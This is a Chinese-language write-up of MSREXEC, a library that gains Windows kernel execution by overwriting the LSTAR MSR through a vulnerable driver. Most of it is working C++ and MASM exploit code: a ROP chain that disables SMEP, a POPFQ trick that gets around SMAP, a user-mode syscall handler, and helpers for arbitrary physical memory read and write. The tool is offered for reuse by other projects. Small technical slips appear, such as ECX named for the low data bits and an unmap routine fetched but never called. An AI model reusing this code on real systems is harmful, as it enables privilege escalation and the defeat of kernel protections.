前言
MSREXEC 是一个有趣的项目,旨在通过写入 MSR(Model-Specific Registers)以提升到内核模式执行。MSR 是处理器中的寄存器,通常用于控制特定于 CPU 的操作。对这些寄存器的访问通常受到严格限制,因为错误的写入可能会导致系统不稳定或崩溃。
MSREXEC 的模块化设计允许开发人员灵活地实现对 MSR 的写入,并通过提供 std::function<bool(std::uint32_t reg, std::uint64_t value)> 类型的 lambda 函数来控制对 MSR 的写入方式。
介绍
MSREXEC 启动代码
writemsr_t _write_msr =
[&](std::uint32_t reg, std::uintptr_t value) -> bool
{
// put your code here to write MSR....
// the code is defined in vdm::writemsr for me...
return vdm::writemsr(reg, value);
};
vdm::msrexec_ctx msrexec(_write_msr);
msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
const auto dbg_print =
reinterpret_cast<dbg_print_t>(
get_kroutine(krnl_base, "DbgPrint"));
dbg_print("> hello world!\n");
});
WRMSR——写入模型特定寄存器
通过 WRMSR 指令写入特定于模型的寄存器。ECX 包含寄存器,EDX 包含高 32 位数据,ECX 包含低 32 位数据。
void __writemsr(unsigned long reg, unsigned long long value)
MSR——模型特定寄存器
MSREXEC 写入的模型特定寄存器是 IA32_LSTAR(简称 LSTAR)和 IA32_FMASK(简称 FMASK)。LSTAR 包含 64 位虚拟地址,执行系统调用指令后,指令指针将更改为该地址。FMASK 包含一个掩码,执行系统调用指令时,掩码中设置的位将在 EFLAG 中清除。
#define IA32_LSTAR 0xC0000082
#define IA32_FMASK 0xC0000084
KVA 阴影和 KiSystemCall64
LSTAR 通常包含 KiSystemCall64,它位于 ntoskrnl.exe 内部。但是,随着 KVA 阴影补丁的添加,LSTAR 将指向 KiSystemCall64Shadow。在项目中,通过使用 SystemKernelVaShadowInformation 调用 NtQuerySystemInformation 来考虑到这一点。
IA32_LSTAR 禁用 KVA 阴影 (KiSystemCall64)
3: kd> rdmsr 0xC0000082
msr[c0000082] = fffff803`6a7eee80
3: kd> u fffff803`6a7eee80
nt!KiSystemCall64:
fffff803`6a7eee80 0f01f8 swapgs
fffff803`6a7eee83 654889242510000000 mov qword ptr gs:[10h],rsp
fffff803`6a7eee8c 65488b2425a8010000 mov rsp,qword ptr gs:[1A8h]
fffff803`6a7eee95 6a2b push 2Bh
fffff803`6a7eee97 65ff342510000000 push qword ptr gs:[10h]
fffff803`6a7eee9f 4153 push r11
fffff803`6a7eeea1 6a33 push 33h
fffff803`6a7eeea3 51 push rcx
IA32_LSTAR 启用 KVA 阴影 (KiSystemCall64Shadow)
3: kd> rdmsr 0xC0000082
msr[c0000082] = fffff803`0c223180
3: kd> u fffff803`0c223180
nt!KiSystemCall64Shadow:
fffff803`0c223180 0f01f8 swapgs
fffff803`0c223183 654889242510900000 mov qword ptr gs:[9010h],rsp
fffff803`0c22318c 65488b242500900000 mov rsp,qword ptr gs:[9000h]
fffff803`0c223195 650fba24251890000001 bt dword ptr gs:[9018h],1
fffff803`0c22319f 7203 jb nt!KiSystemCall64Shadow+0x24
fffff803`0c2231a1 0f22dc mov cr3,rsp
fffff803`0c2231a4 65488b242508900000 mov rsp,qword ptr gs:[9008h]
fffff803`0c2231ad 6a2b push 2Bh
线程调度程序 - 中断和 LSTAR
将 LSTAR 设置为与 KiSystemCall64(Shadow) 不同的值后,下一个 SYSCALL 不能与 Windows 相关。在更改 LSTAR 并执行下一个 SYSCALL 指令期间,线程优先级尤为重要。如果线程调度程序在 LSTAR 未设置为 KiSystemCall64(Shadow) 时中断逻辑处理器并重新安排它以在另一个进程中运行另一个线程,则系统将无法恢复。
void msrexec_ctx::exec(callback_t kernel_callback)
{
const thread_info_t thread_info =
{
GetPriorityClass(GetCurrentProcess()),
GetThreadPriority(GetCurrentThread())
};
SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
// set LSTAR to first rop gadget... race begins here...
if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget))
std::printf("> failed to set LSTAR...\n");
else
// go go gadget kernel execution...
syscall_wrapper(&kernel_callback);
SetPriorityClass(GetCurrentProcess(), thread_info.first);
SetThreadPriority(GetCurrentThread(), thread_info.second);
}
现有的内核预防措施
为了防止攻击者诱骗内核访问并随后执行用户控制的数据/代码,内核采用了两种 CPU 功能,SMEP 和 SMAP。SMAP 最近在 Windows 10 19H1 中使用。
SMEP - 管理员模式执行用户管理员页面预防
SMEP 是 Intel Ivy Bridge CPU 及以上版本以及 AMD Family 17h、Family 15h 型号 > 60h CPU 及以上版本中的一项 CPU 功能。SMEP 是 CR4(控制寄存器 4)中的一个位。可以通过 EAX=7 的 CPUID 查询对 SMEP 的支持。SMEP 可防止 MSREXEC 仅将 LSTAR 设置为用户控制的页面。
SMAP - 管理员模式访问用户管理员页面的预防
SMAP 是 Intel 第五代及更高版本 CPU 和 AMD 17h 系列 CPU 及更高版本中存在的 CPU 功能。SMAP 是 CR4(控制寄存器四)中的一个位。可以通过 CPUID(EAX=7)查询对 SMAP 的支持。SMAP最初阻止MSREXEC 使用 ROP ,但可以通过 POPFQ 从用户模式禁用 SMAP。(感谢@drew)。可以设置 EFLAGS 中的 AC 位以禁用 SMAP。设置此位的指令 STAC 是一条特权指令。最初假设由于 STAC 具有特权,因此在 CPL3 中无法设置 AC 位。然而事实并非如此。可以通过 POPFQ 在 EFLAGs 中设置此位,这会从堆栈中弹出一个值放入 EFLAGS 寄存器中。
ROP——面向返回的编程
ROP 是一种技术,攻击者利用内存中已有的指令,通过返回指令串联起来,执行特制的指令序列。MSREXEC 使用 ROP 禁用 SMEP 并执行位于用户主管页面中的系统调用处理程序。MSREXEC 使用以下系统调用包装器来提升到内核执行。
Syscall Wrapper 用于设置 ROP 小工具
syscall_wrapper proc
push r10 ; syscall puts RIP into rcx...
pushfq ; restored after syscall...
mov r10, rcx ; swap r10 and rcx...
push m_sysret_gadget ; REX.W prefix...
lea rax, finish ; preserved value of RIP by putting it on the stack here...
push rax ;
push m_pop_rcx_gadget ; gadget to put RIP back into rcx...
push m_mov_cr4_gadget ; turn SMEP back on...
push m_smep_on ; value of CR4 with smep off...
push m_pop_rcx_gadget ;
lea rax, syscall_handler ; rop to syscall_handler to handle the syscall...
push rax ;
push m_mov_cr4_gadget ; disable SMEP...
push m_smep_off ;
pushfq ; thank you drew ;)
pop rax ; this will set the AC flag in EFLAGS which "disables SMAP"...
or rax, 040000h ;
push rax ;
popfq ;
syscall ; LSTAR points at a pop rcx gadget...
; it will put m_smep_off into rcx...
finish:
popfq ; restore EFLAGS...
pop r10 ; restore r10...
ret
syscall_wrapper endp
此 ROP 链的主要小工具包括 MOV CR4 小工具、POP RCX 小工具以及最后的 SYSRET 小工具(以 REX 为前缀)。所有 Windows 10 内核中唯一一致的 MOV CR4 小工具是 MOV CR4、RCX 小工具。如果您从头开始记得,执行 SYSCALL 指令后,RCX 包含 RIP。因此需要 POP RCX 小工具。
通过将内核模块 LoadLibrary 加载到当前进程中并枚举每个模块部分以找到包含所需 ROP 小工具的可执行部分,可以找到这些小工具。然后通过将小工具的相对虚拟地址与从NtQuerySystemInformation-获得的内核模块基地址相加来计算这些小工具的线性虚拟地址SystemModuleInformation。
Syscall 处理程序 - 恢复 LSTAR 并调用 Lambda
位于用户模式中的系统调用处理程序将 LSTAR 恢复为原始系统调用处理程序。然后,它调用作为 RCX 中的指针传递的 lambda(R10 和 RCX 交换)。
系统调用处理程序——MASM
syscall_handler proc
swapgs ; swap gs to kernel gs (_KPCR...)
mov rax, m_kpcr_rsp_offset ; save usermode stack to _KPRCB
mov gs:[rax], rsp
mov rax, m_kpcr_krsp_offset ; load kernel rsp....
mov rsp, gs:[rax]
push rcx ; push RIP
push r11 ; push EFLAGS
mov rcx, r10 ; swapped by syscall instruction so we switch it back...
sub rsp, 020h
call msrexec_handler ; call c++ handler (which restores LSTAR and calls lambda...)
add rsp, 020h
pop r11 ; pop EFLAGS
pop rcx ; pop RIP
mov rax, m_kpcr_rsp_offset ; restore rsp back to usermode stack...
mov rsp, gs:[rax]
swapgs ; swap back to TIB...
ret
syscall_handler endp
通过一些创造性的自由,我决定将两个参数传递给 lambda,这对于该库的用户定位内核函数很有用。
C++ 系统调用处理程序
using get_system_routine_t = void* (*)(void*, const char*);
using callback_t = std::function<void(void*, get_system_routine_t)>;
void msrexec_handler(callback_t* callback)
{
// restore LSTAR....
__writemsr(IA32_LSTAR_MSR, m_system_call);
// call usermode code...
(*callback)(ntoskrnl_base, get_system_routine);
}
示例 - VDM 集成
VDM(易受攻击的驱动程序操纵)是一个代码命名空间,其中各种易受攻击的驱动程序被系统地利用来提升到内核执行。此命名空间的基础是一个库,它滥用任意物理读写来提升到内核执行。该项目(VDM)短暂扫描所有物理内存以查找包含 ntoskrnl 系统调用例程指令的物理页面。MSREXEC 可用于通过 MmGetPhysicalAddress 在内存中查找此物理页面。所有使用 VDM 的项目现在都可以使用 MSREXEC。
跳过扫描物理内存
下面的代码允许您跳过扫描所有物理内存以查找包含系统调用例程的页面的步骤。此 MSREXEC 调用只是将系统调用处理程序的线性虚拟地址转换为其所在的物理地址。
msrexec.exec
(
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
const auto mm_get_phys =
reinterpret_cast<mm_get_phys_t>(
get_kroutine(krnl_base, "MmGetPhysicalAddress"));
vdm::syscall_address.store(mm_get_phys(
get_kroutine(krnl_base, vdm::syscall_hook.first)));
}
);
使用 MSREXEC 读取物理内存
vdm::read_phys_t _read_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
bool result = false;
msrexec.exec
(
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
const auto mm_map =
reinterpret_cast<mm_map_t>(
get_kroutine(krnl_base, "MmMapIoSpace"));
const auto virt_map = mm_map(addr, size, NULL);
if (!virt_map)
return;
result = memcpy(buffer, virt_map, size);
const auto mm_unmap =
reinterpret_cast<mm_unmap_t>(
get_kroutine(krnl_base, "MmUnmapIoSpace"));
}
);
return result;
};
使用 MSREXEC 写入物理内存
vdm::write_phys_t _write_phys =
[&](void* addr, void* buffer, std::size_t size) -> bool
{
bool result = false;
msrexec.exec
(
[&](void* krnl_base, get_system_routine_t get_kroutine) -> void
{
const auto mm_map =
reinterpret_cast<mm_map_t>(
get_kroutine(krnl_base, "MmMapIoSpace"));
const auto virt_map = mm_map(addr, size, NULL);
if (!virt_map)
return;
result = memcpy(virt_map, buffer, size);
const auto mm_unmap =
reinterpret_cast<mm_unmap_t>(
get_kroutine(krnl_base, "MmUnmapIoSpace"));
}
);
return result;
};